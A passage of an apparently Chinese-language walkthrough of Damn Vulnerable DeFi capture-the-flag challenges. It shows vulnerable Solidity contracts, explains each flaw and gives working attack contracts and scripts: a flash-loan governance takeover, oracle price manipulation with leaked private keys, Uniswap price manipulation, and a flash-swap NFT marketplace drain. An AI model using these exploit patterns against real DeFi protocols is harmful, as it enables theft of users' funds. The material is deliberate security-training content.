revert(add(0x20, returndata), mload(returndata)) } } else { revert ActionFailed(actionId); } } return returndata; } function getActionDelay() external pure returns (uint256) { return ACTION_DELAY_IN_SECONDS; } function getGovernanceToken() external view returns (address) { return address(_governanceToken); } function getAction(uint256 actionId) external view returns (GovernanceAction memory) { return _actions[actionId]; } function getActionCounter() external view returns (uint256) { return _actionCounter; } /** * @dev an action can only be executed if: * 1) it's never been executed before and * 2) enough time has passed since it was first proposed */ function _canBeExecuted(uint256 actionId) private view returns (bool) { GovernanceAction memory actionToExecute = _actions[actionId]; if (actionToExecute.proposedAt == 0) // early exit return false; uint64 timeDelta; unchecked { timeDelta = uint64(block.timestamp) - actionToExecute.proposedAt; } return actionToExecute.executedAt == 0 && timeDelta >= ACTION_DELAY_IN_SECONDS; } function _hasEnoughVotes(address who) private view returns (bool) { uint256 balance = _governanceToken.getBalanceAtLastSnapshot(who); uint256 halfTotalSupply = _governanceToken.getTotalSupplyAtLastSnapshot() / 2; return balance > halfTotalSupply; } }
SelfiePool.sol 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Snapshot.sol"; import "@openzeppelin/contracts/interfaces/IERC3156FlashLender.sol"; import "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol"; import "./SimpleGovernance.sol"; /** * @title SelfiePool * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) */ contract SelfiePool is ReentrancyGuard, IERC3156FlashLender { ERC20Snapshot public immutable token; SimpleGovernance public immutable governance; bytes32 private constant CALLBACK_SUCCESS = keccak256("ERC3156FlashBorrower.onFlashLoan"); error RepayFailed(); error CallerNotGovernance(); error UnsupportedCurrency(); error CallbackFailed(); event FundsDrained(address indexed receiver, uint256 amount); modifier onlyGovernance() { if (msg.sender != address(governance)) revert CallerNotGovernance(); _; } constructor(address _token, address _governance) { token = ERC20Snapshot(_token); governance = SimpleGovernance(_governance); } function maxFlashLoan(address _token) external view returns (uint256) { if (address(token) == _token) return token.balanceOf(address(this)); return 0; } function flashFee(address _token, uint256) external view returns (uint256) { if (address(token) != _token) revert UnsupportedCurrency(); return 0; } function flashLoan( IERC3156FlashBorrower _receiver, address _token, uint256 _amount, bytes calldata _data ) external nonReentrant returns (bool) { if (_token != address(token)) revert UnsupportedCurrency(); token.transfer(address(_receiver), _amount); if (_receiver.onFlashLoan(msg.sender, _token, _amount, 0, _data) != CALLBACK_SUCCESS) revert CallbackFailed(); if (!token.transferFrom(address(_receiver), address(this), _amount)) revert RepayFailed(); return true; } function emergencyExit(address receiver) external onlyGovernance { uint256 amount = token.balanceOf(address(this)); token.transfer(receiver, amount); emit FundsDrained(receiver, amount); } }
Analysis 这道题是让我们掏空借贷池里的代币,我们可以看到可以通过emergencyExit()
函数实现这个想法,但是它有一个onlyGovernance
的限制,所以我们可以去看SimpleGovernance
合约,看看有没有什么方法去调用这个函数。
我们可以看到这个合约中executeAction()
函数中有个call
调用,可以完成我们所想。但我们需要把我们需要的calldata、value、target
等构成GovernanceAction
结构体并存入到_actions
中。
要想实现这个功能我们要先看queueAction()
函数,后两个检验不会影响我们,我们只需要看第一个检验即可,即我们要获得大于governanceToken
代币的一半的数量。我们可以通过SelfiePool
来借贷去过这个验证,同时我们需要在自己编写的onFlashLoan()
函数中去调用queueAction()
函数,去传入要构造的数据,当然在这之前我们需要先调用一遍token.snapshot()
,因为不这样的话_governanceToken.getBalanceAtLastSnapshot(who)
这部分获得的就是我们在借贷之前的余额(这是因为我们在_transfer()
中是先执行的 _beforeTokenTransfer(from, to, amount)
这一部分,再去执行余额上的加减,而不执行snapshot()
,就会使我们获得之前压入数组中的余额值,即为0
),同时还需要去授权借贷池以允许它转账,至此函数分析完毕,开始写攻击合约
Attack SelfiePoolAttack.sol 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol"; import "../DamnValuableTokenSnapshot.sol"; import "./SimpleGovernance.sol"; import "./SelfiePool.sol"; contract SelfiePoolAttack is IERC3156FlashBorrower{ DamnValuableTokenSnapshot public immutable token; SelfiePool public pool; SimpleGovernance public governance; constructor(address _token,address _pool,address _governance){ token = DamnValuableTokenSnapshot(_token); pool = SelfiePool(_pool); governance = SimpleGovernance(_governance); } function Loan(bytes calldata data) public { uint256 amount = token.balanceOf(address(pool)); pool.flashLoan(this, address(token), amount, data); } function onFlashLoan(address addr,address _token,uint256 _amount,uint256 _b,bytes calldata _data) external returns (bytes32){ token.snapshot(); governance.queueAction(address(pool), 0, _data); token.approve(address(pool),_amount); bytes32 CALLBACK_SUCCESS = keccak256("ERC3156FlashBorrower.onFlashLoan"); return CALLBACK_SUCCESS; } function attack() public{ governance.executeAction(1); } }
js 1 2 3 4 5 6 data = '0xa441d06700000000000000000000000070997970c51812dc3a010c7d01b50e0d17dc79c8' ; const attack = await (await ethers.getContractFactory ('SelfiePoolAttack' ,player)).deploy (token.address ,pool.address ,governance.address ); await attack.Loan (data); await ethers.provider .send ("evm_increaseTime" , [2 * 24 * 60 * 60 ]); await attack.attack ();
Challenge #7 - Compromised While poking around a web service of one of the most popular DeFi projects in the space, you get a somewhat strange response from their server. Here’s a snippet:
1 2 3 4 5 6 7 8 9 HTTP/2 200 OK content-type: text/html content-language: en vary: Accept-Encoding server: cloudflare 4d 48 68 6a 4e 6a 63 34 5a 57 59 78 59 57 45 30 4e 54 5a 6b 59 54 59 31 59 7a 5a 6d 59 7a 55 34 4e 6a 46 6b 4e 44 51 34 4f 54 4a 6a 5a 47 5a 68 59 7a 42 6a 4e 6d 4d 34 59 7a 49 31 4e 6a 42 69 5a 6a 42 6a 4f 57 5a 69 59 32 52 68 5a 54 4a 6d 4e 44 63 7a 4e 57 45 35 4d 48 67 79 4d 44 67 79 4e 44 4a 6a 4e 44 42 68 59 32 52 6d 59 54 6c 6c 5a 44 67 34 4f 57 55 32 4f 44 56 6a 4d 6a 4d 31 4e 44 64 68 59 32 4a 6c 5a 44 6c 69 5a 57 5a 6a 4e 6a 41 7a 4e 7a 46 6c 4f 54 67 33 4e 57 5a 69 59 32 51 33 4d 7a 59 7a 4e 44 42 69 59 6a 51 34
A related on-chain exchange is selling (absurdly overpriced) collectibles called “DVNFT”, now at 999 ETH each.
This price is fetched from an on-chain oracle, based on 3 trusted reporters: 0xA732...A105
,0xe924...9D15
and 0x81A5...850c
.
Starting with just 0.1 ETH in balance, pass the challenge by obtaining all ETH available in the exchange.
Code TrustfulOracle.sol 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/access/AccessControlEnumerable.sol"; import "solady/src/utils/LibSort.sol"; /** * @title TrustfulOracle * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) * @notice A price oracle with a number of trusted sources that individually report prices for symbols. * The oracle's price for a given symbol is the median price of the symbol over all sources. */ contract TrustfulOracle is AccessControlEnumerable { uint256 public constant MIN_SOURCES = 1; bytes32 public constant TRUSTED_SOURCE_ROLE = keccak256("TRUSTED_SOURCE_ROLE"); bytes32 public constant INITIALIZER_ROLE = keccak256("INITIALIZER_ROLE"); // Source address => (symbol => price) mapping(address => mapping(string => uint256)) private _pricesBySource; error NotEnoughSources(); event UpdatedPrice(address indexed source, string indexed symbol, uint256 oldPrice, uint256 newPrice); constructor(address[] memory sources, bool enableInitialization) { if (sources.length < MIN_SOURCES) revert NotEnoughSources(); for (uint256 i = 0; i < sources.length;) { unchecked { _setupRole(TRUSTED_SOURCE_ROLE, sources[i]); ++i; } } if (enableInitialization) _setupRole(INITIALIZER_ROLE, msg.sender); } // A handy utility allowing the deployer to setup initial prices (only once) function setupInitialPrices(address[] calldata sources, string[] calldata symbols, uint256[] calldata prices) external onlyRole(INITIALIZER_ROLE) { // Only allow one (symbol, price) per source require(sources.length == symbols.length && symbols.length == prices.length); for (uint256 i = 0; i < sources.length;) { unchecked { _setPrice(sources[i], symbols[i], prices[i]); ++i; } } renounceRole(INITIALIZER_ROLE, msg.sender); } function postPrice(string calldata symbol, uint256 newPrice) external onlyRole(TRUSTED_SOURCE_ROLE) { _setPrice(msg.sender, symbol, newPrice); } function getMedianPrice(string calldata symbol) external view returns (uint256) { return _computeMedianPrice(symbol); } function getAllPricesForSymbol(string memory symbol) public view returns (uint256[] memory prices) { uint256 numberOfSources = getRoleMemberCount(TRUSTED_SOURCE_ROLE); prices = new uint256[](numberOfSources); for (uint256 i = 0; i < numberOfSources;) { address source = getRoleMember(TRUSTED_SOURCE_ROLE, i); prices[i] = getPriceBySource(symbol, source); unchecked { ++i; } } } function getPriceBySource(string memory symbol, address source) public view returns (uint256) { return _pricesBySource[source][symbol]; } function _setPrice(address source, string memory symbol, uint256 newPrice) private { uint256 oldPrice = _pricesBySource[source][symbol]; _pricesBySource[source][symbol] = newPrice; emit UpdatedPrice(source, symbol, oldPrice, newPrice); } function _computeMedianPrice(string memory symbol) private view returns (uint256) { uint256[] memory prices = getAllPricesForSymbol(symbol); LibSort.insertionSort(prices); if (prices.length % 2 == 0) { uint256 leftPrice = prices[(prices.length / 2) - 1]; uint256 rightPrice = prices[prices.length / 2]; return (leftPrice + rightPrice) / 2; } else { return prices[prices.length / 2]; } } }
TrustfulOracleInitializer.sol 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import { TrustfulOracle } from "./TrustfulOracle.sol"; /** * @title TrustfulOracleInitializer * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) */ contract TrustfulOracleInitializer { event NewTrustfulOracle(address oracleAddress); TrustfulOracle public oracle; constructor(address[] memory sources, string[] memory symbols, uint256[] memory initialPrices) { oracle = new TrustfulOracle(sources, true); oracle.setupInitialPrices(sources, symbols, initialPrices); emit NewTrustfulOracle(address(oracle)); } }
Exchange.sol 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "./TrustfulOracle.sol"; import "../DamnValuableNFT.sol"; /** * @title Exchange * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) */ contract Exchange is ReentrancyGuard { using Address for address payable; DamnValuableNFT public immutable token; TrustfulOracle public immutable oracle; error InvalidPayment(); error SellerNotOwner(uint256 id); error TransferNotApproved(); error NotEnoughFunds(); event TokenBought(address indexed buyer, uint256 tokenId, uint256 price); event TokenSold(address indexed seller, uint256 tokenId, uint256 price); constructor(address _oracle) payable { token = new DamnValuableNFT(); token.renounceOwnership(); oracle = TrustfulOracle(_oracle); } function buyOne() external payable nonReentrant returns (uint256 id) { if (msg.value == 0) revert InvalidPayment(); // Price should be in [wei / NFT] uint256 price = oracle.getMedianPrice(token.symbol()); if (msg.value < price) revert InvalidPayment(); id = token.safeMint(msg.sender); unchecked { payable(msg.sender).sendValue(msg.value - price); } emit TokenBought(msg.sender, id, price); } function sellOne(uint256 id) external nonReentrant { if (msg.sender != token.ownerOf(id)) revert SellerNotOwner(id); if (token.getApproved(id) != address(this)) revert TransferNotApproved(); // Price should be in [wei / NFT] uint256 price = oracle.getMedianPrice(token.symbol()); if (address(this).balance < price) revert NotEnoughFunds(); token.transferFrom(msg.sender, address(this), id); token.burn(id); payable(msg.sender).sendValue(price); emit TokenSold(msg.sender, id, price); } receive() external payable {} }
Analysis 这道题是让我们获取交易所的所有ETH
,首先我们来看交易所当中能获取ETH
的函数,目前看来只有sellOne()
函数能实现这个功能,但前提是我们需要有一个NFT
去售卖,而我们想要一个NFT
就需要调用buyOne()
函数去购买,而一个NFT
的售价为999 ETH
,而我们只有0.1 ETH
,金额不够怎么办,我们需要知道这个NFT
的售价是由三个用户提供的报价,然后取得中间值得到的,那么我们有没有办法去修改他们的报价呢?
这时我们将目光放向题目提供的两串码,这是两串十六进制码,将它们解码一下就会得到两串私钥
1 2 3 0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9 0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48"
我们可以根据两串私钥登录他们的账户,进而修改报价,之后购买一个NFT
,之后再将报价修改,再将其卖出即可
Attack js 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 privateKey1 = "0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9" ; privateKey2 = "0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48" ; addr1 = new ethers.Wallet (privateKey1, ethers.provider ); addr2 = new ethers.Wallet (privateKey2, ethers.provider ); await oracle.connect (addr1).postPrice ('DVNFT' ,'0' ); await oracle.connect (addr2).postPrice ('DVNFT' ,'0' ); await exchange.connect (player).buyOne ({value :1 }); await oracle.connect (addr1).postPrice ('DVNFT' ,INITIAL_NFT_PRICE ); await oracle.connect (addr2).postPrice ('DVNFT' ,INITIAL_NFT_PRICE ); await nftToken.connect (player).approve (exchange.address , 0 ); await exchange.connect (player).sellOne (0 );
Challenge #8 - Puppet There’s a lending pool where users can borrow Damn Valuable Tokens (DVTs). To do so, they first need to deposit twice the borrow amount in ETH as collateral. The pool currently has 100000 DVTs in liquidity.
There’s a DVT market opened in an old Uniswap v1 exchange , currently with 10 ETH and 10 DVT in liquidity.
Pass the challenge by taking all tokens from the lending pool. You start with 25 ETH and 1000 DVTs in balance.
Code PuppetPool.sol 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "../DamnValuableToken.sol"; /** * @title PuppetPool * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) */ contract PuppetPool is ReentrancyGuard { using Address for address payable; uint256 public constant DEPOSIT_FACTOR = 2; address public immutable uniswapPair; DamnValuableToken public immutable token; mapping(address => uint256) public deposits; error NotEnoughCollateral(); error TransferFailed(); event Borrowed(address indexed account, address recipient, uint256 depositRequired, uint256 borrowAmount); constructor(address tokenAddress, address uniswapPairAddress) { token = DamnValuableToken(tokenAddress); uniswapPair = uniswapPairAddress; } // Allows borrowing tokens by first depositing two times their value in ETH function borrow(uint256 amount, address recipient) external payable nonReentrant { uint256 depositRequired = calculateDepositRequired(amount); if (msg.value < depositRequired) revert NotEnoughCollateral(); if (msg.value > depositRequired) { unchecked { payable(msg.sender).sendValue(msg.value - depositRequired); } } unchecked { deposits[msg.sender] += depositRequired; } // Fails if the pool doesn't have enough tokens in liquidity if(!token.transfer(recipient, amount)) revert TransferFailed(); emit Borrowed(msg.sender, recipient, depositRequired, amount); } function calculateDepositRequired(uint256 amount) public view returns (uint256) { return amount * _computeOraclePrice() * DEPOSIT_FACTOR / 10 ** 18; } function _computeOraclePrice() private view returns (uint256) { // calculates the price of the token in wei according to Uniswap pair return uniswapPair.balance * (10 ** 18) / token.balanceOf(uniswapPair); } }
Analysis 这一题是让我们想办法获取借贷池中所有的token
,我们可以看到如果想获得所有的token
,需要两倍的ETH
去抵押,但我们没有这么多该怎么办吗,这时我们看到题目合约不是写死了就需要两倍而是通过amount * _computeOraclePrice() * DEPOSIT_FACTOR / 10 ** 18
这个来计算的,而其中_computeOraclePrice()
这个函数是获取uniswapPair
的Eth
和token
的数量比值,我们可以在这里做文章,让uniswapPair
的eth
和token
的比例降低,从而使得我们需要抵押的eth
减少
那么如何降低呢,我们可以是用uniswapPair
的tokenToEthSwapInput()
函数用我们的token
去换取一些eth
,从而使得我们可以凭借我们现有的eth
来掏空借贷池
(但目前我还不知道怎么使得它执行一次交易就能完成这些操作)
Attack js 1 2 3 await token.connect (player).approve (uniswapExchange.address ,PLAYER_INITIAL_TOKEN_BALANCE ); await uniswapExchange.connect (player).tokenToEthSwapInput (ethers.utils .parseEther ( '1000' ),9 ,( await ethers.provider .getBlock ( 'latest' )).timestamp * 2 ); await lendingPool.connect (player).borrow (POOL_INITIAL_TOKEN_BALANCE ,player.address ,{value :ethers.utils .parseEther ( '20' )});
Challenge #9 - Puppet V2 The developers of the previous pool seem to have learned the lesson. And released a new version!
Now they’re using a Uniswap v2 exchange as a price oracle, along with the recommended utility libraries. That should be enough.
You start with 20 ETH and 10000 DVT tokens in balance. The pool has a million DVT tokens in balance. You know what to do.
Code PuppetV2Pool.sol 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "@uniswap/v2-periphery/contracts/libraries/UniswapV2Library.sol"; import "@uniswap/v2-periphery/contracts/libraries/SafeMath.sol"; interface IERC20 { function transfer(address to, uint256 amount) external returns (bool); function transferFrom(address from, address to, uint256 amount) external returns (bool); function balanceOf(address account) external returns (uint256); } /** * @title PuppetV2Pool * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) */ contract PuppetV2Pool { using SafeMath for uint256; address private _uniswapPair; address private _uniswapFactory; IERC20 private _token; IERC20 private _weth; mapping(address => uint256) public deposits; event Borrowed(address indexed borrower, uint256 depositRequired, uint256 borrowAmount, uint256 timestamp); constructor(address wethAddress, address tokenAddress, address uniswapPairAddress, address uniswapFactoryAddress) public { _weth = IERC20(wethAddress); _token = IERC20(tokenAddress); _uniswapPair = uniswapPairAddress; _uniswapFactory = uniswapFactoryAddress; } /** * @notice Allows borrowing tokens by first depositing three times their value in WETH * Sender must have approved enough WETH in advance. * Calculations assume that WETH and borrowed token have same amount of decimals. */ function borrow(uint256 borrowAmount) external { // Calculate how much WETH the user must deposit uint256 amount = calculateDepositOfWETHRequired(borrowAmount); // Take the WETH _weth.transferFrom(msg.sender, address(this), amount); // internal accounting deposits[msg.sender] += amount; require(_token.transfer(msg.sender, borrowAmount), "Transfer failed"); emit Borrowed(msg.sender, amount, borrowAmount, block.timestamp); } function calculateDepositOfWETHRequired(uint256 tokenAmount) public view returns (uint256) { uint256 depositFactor = 3; return _getOracleQuote(tokenAmount).mul(depositFactor) / (1 ether); } // Fetch the price from Uniswap v2 using the official libraries function _getOracleQuote(uint256 amount) private view returns (uint256) { (uint256 reservesWETH, uint256 reservesToken) = UniswapV2Library.getReserves(_uniswapFactory, address(_weth), address(_token)); return UniswapV2Library.quote(amount.mul(10 ** 18), reservesToken, reservesWETH); } }
Analysis 这道题看似换了计算方式,实则大同小异,只是把计算对象换为了token
和weth
的比值,而我们需要存入$\frac{3}{10}$的借贷金,我们只需要通过uniswapv2
的swapExactTokensForTokens()
函数用token
来换取一些weth
来降低比值即可,再将我们一部分ETH
换为WETH
即可
Attack js 1 2 3 4 5 await token.connect (player).approve (uniswapRouter.address ,PLAYER_INITIAL_TOKEN_BALANCE ); await uniswapRouter.connect (player).swapExactTokensForTokens (PLAYER_INITIAL_TOKEN_BALANCE ,9n * 10n ** 18n ,[token.address ,weth.address ],player.address ,(await ethers.provider .getBlock ('latest' )).timestamp * 2 ); await weth.connect (player).approve (lendingPool.address ,30n * 10n ** 18n ); await weth.connect (player).deposit ({ value : '19900000000000000000' }); await lendingPool.connect (player).borrow (POOL_INITIAL_TOKEN_BALANCE );
Challenge #10 - Free Rider A new marketplace of Damn Valuable NFTs has been released! There’s been an initial mint of 6 NFTs, which are available for sale in the marketplace. Each one at 15 ETH.
The developers behind it have been notified the marketplace is vulnerable. All tokens can be taken. Yet they have absolutely no idea how to do it. So they’re offering a bounty of 45 ETH for whoever is willing to take the NFTs out and send them their way.
You’ve agreed to help. Although, you only have 0.1 ETH in balance. The devs just won’t reply to your messages asking for more.
If only you could get free ETH, at least for an instant.
Code FreeRiderRecovery.sol 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol"; /** * @title FreeRiderRecovery * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) */ contract FreeRiderRecovery is ReentrancyGuard, IERC721Receiver { using Address for address payable; uint256 private constant PRIZE = 45 ether; address private immutable beneficiary; IERC721 private immutable nft; uint256 private received; error NotEnoughFunding(); error CallerNotNFT(); error OriginNotBeneficiary(); error InvalidTokenID(uint256 tokenId); error StillNotOwningToken(uint256 tokenId); constructor(address _beneficiary, address _nft) payable { if (msg.value != PRIZE) revert NotEnoughFunding(); beneficiary = _beneficiary; nft = IERC721(_nft); IERC721(_nft).setApprovalForAll(msg.sender, true); } // Read https://eips.ethereum.org/EIPS/eip-721 for more info on this function function onERC721Received(address, address, uint256 _tokenId, bytes memory _data) external override nonReentrant returns (bytes4) { if (msg.sender != address(nft)) revert CallerNotNFT(); if (tx.origin != beneficiary) revert OriginNotBeneficiary(); if (_tokenId > 5) revert InvalidTokenID(_tokenId); if (nft.ownerOf(_tokenId) != address(this)) revert StillNotOwningToken(_tokenId); if (++received == 6) { address recipient = abi.decode(_data, (address)); payable(recipient).sendValue(PRIZE); } return IERC721Receiver.onERC721Received.selector; } }
FreeRiderNFTMarketplace.sol 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "../DamnValuableNFT.sol"; /** * @title FreeRiderNFTMarketplace * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) */ contract FreeRiderNFTMarketplace is ReentrancyGuard { using Address for address payable; DamnValuableNFT public token; uint256 public offersCount; // tokenId -> price mapping(uint256 => uint256) private offers; event NFTOffered(address indexed offerer, uint256 tokenId, uint256 price); event NFTBought(address indexed buyer, uint256 tokenId, uint256 price); error InvalidPricesAmount(); error InvalidTokensAmount(); error InvalidPrice(); error CallerNotOwner(uint256 tokenId); error InvalidApproval(); error TokenNotOffered(uint256 tokenId); error InsufficientPayment(); constructor(uint256 amount) payable { DamnValuableNFT _token = new DamnValuableNFT(); _token.renounceOwnership(); for (uint256 i = 0; i < amount; ) { _token.safeMint(msg.sender); unchecked { ++i; } } token = _token; } function offerMany(uint256[] calldata tokenIds, uint256[] calldata prices) external nonReentrant { uint256 amount = tokenIds.length; if (amount == 0) revert InvalidTokensAmount(); if (amount != prices.length) revert InvalidPricesAmount(); for (uint256 i = 0; i < amount;) { unchecked { _offerOne(tokenIds[i], prices[i]); ++i; } } } function _offerOne(uint256 tokenId, uint256 price) private { DamnValuableNFT _token = token; // gas savings if (price == 0) revert InvalidPrice(); if (msg.sender != _token.ownerOf(tokenId)) revert CallerNotOwner(tokenId); if (_token.getApproved(tokenId) != address(this) && !_token.isApprovedForAll(msg.sender, address(this))) revert InvalidApproval(); offers[tokenId] = price; assembly { // gas savings sstore(0x02, add(sload(0x02), 0x01)) } emit NFTOffered(msg.sender, tokenId, price); } function buyMany(uint256[] calldata tokenIds) external payable nonReentrant { for (uint256 i = 0; i < tokenIds.length;) { unchecked { _buyOne(tokenIds[i]); ++i; } } } function _buyOne(uint256 tokenId) private { uint256 priceToPay = offers[tokenId]; if (priceToPay == 0) revert TokenNotOffered(tokenId); if (msg.value < priceToPay) revert InsufficientPayment(); --offersCount; // transfer from seller to buyer DamnValuableNFT _token = token; // cache for gas savings _token.safeTransferFrom(_token.ownerOf(tokenId), msg.sender, tokenId); // pay seller using cached token payable(_token.ownerOf(tokenId)).sendValue(priceToPay); emit NFTBought(msg.sender, tokenId, priceToPay); } receive() external payable {} }
Analysis 这道题卡了我非常之久,原因还是代码写的不够熟练,而这道题的问题其实很简单,有两个,一个是在FreeRiderNFTMarketplace
这个合约中的buyMany()
函数,在这个函数中当tokenIds[]
的长度大于1
,这个问题就会显现出来,因为当长度大于1
时这个函数会多次调用_buyOne()
函数,而这个函数中比较的是msg.value
和单个NFT
的价格,所以我们只需要一份的钱就可以购买多个NFT
.
而第二个问题就是存在于_buyOne()
当中,我们可以看到在这个函数中,是先将NFT
给了购买者,再将钱转给NFT
的所有者,而问题是此时NFT
的所有者已经是购买者,所以钱也会给到购买者,而当我们一次性购买多个NFT
的时候,我们就可以将这个池子中的ETH
也掏走,而接下来就是购买资金的问题,我们可以通过uniswapv2
来借贷weth
代币,再将其转换成ETH
,最终再利用多得的ETH
还利息
Attack FreeRiderNFTMarketplaceAttack.sol 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../DamnValuableNFT.sol"; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol"; import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Callee.sol"; import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol"; import "solmate/src/tokens/WETH.sol"; import "./FreeRiderNFTMarketplace.sol"; import "./FreeRiderRecovery.sol"; contract FreeRiderNFTMarketplaceAttack is IUniswapV2Callee, IERC721Receiver{ address public nft; address payable market; address public pair; FreeRiderRecovery public recovery; address payable weth; uint256 public length=0; address public player; constructor(address _nft, address payable _market, address _pair, address _recovery, address payable _weth, address _player){ nft = _nft; market = _market; pair = _pair; recovery = FreeRiderRecovery(_recovery); weth = _weth; player = _player; } function Loan(uint256 amount) public{ bytes memory data = abi.encode(amount); length=data.length; IUniswapV2Pair(pair).swap(amount,0,address(this),data); } function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external{ uint256[] memory tokenIds = new uint256[](6); for(uint i=0 ; i<6 ; i++) { tokenIds[i]=i; } uint256 bala = WETH(weth).balanceOf(address(this)); WETH(weth).withdraw(bala); FreeRiderNFTMarketplace(market).buyMany{value: 15 ether}(tokenIds); for(uint a=0; a<6; a++) { bytes memory _data = abi.encode(player); DamnValuableNFT(nft).safeTransferFrom(address(this),address(recovery),a,_data); } WETH(weth).deposit{value: 20 ether}(); uint256 bala2 =WETH(weth).balanceOf(address(this)); WETH(weth).transfer(pair,bala2); payable(player).transfer(address(this).balance); } function onERC721Received(address, address, uint256 _tokenId, bytes memory _data) external override returns (bytes4) { return IERC721Receiver.onERC721Received.selector; } receive () external payable {} }
js 1 2 const attack = await (await ethers.getContractFactory ("FreeRiderNFTMarketplaceAttack" ,player)).deploy (nft.address ,marketplace.address ,uniswapPair.address ,devsContract.address ,weth.address ,player.address ); await attack.connect (player).Loan (NFT_PRICE );
Challenge #11 - Backdoor To incentivize the creation of more secure wallets in their team, someone has deployed a registry of Gnosis Safe wallets . When someone in the team deploys and registers a wallet, they will earn 10 DVT tokens.
To make sure everything is safe and sound, the registry tightly integrates with the legitimate Gnosis Safe Proxy Factory , and has some additional safety checks.
Currently there are four people registered as beneficiaries: Alice, Bob, Charlie and David. The registry has 40 DVT tokens in balance to be distributed among them.
Your goal is to take all funds from the registry. In a single transaction.
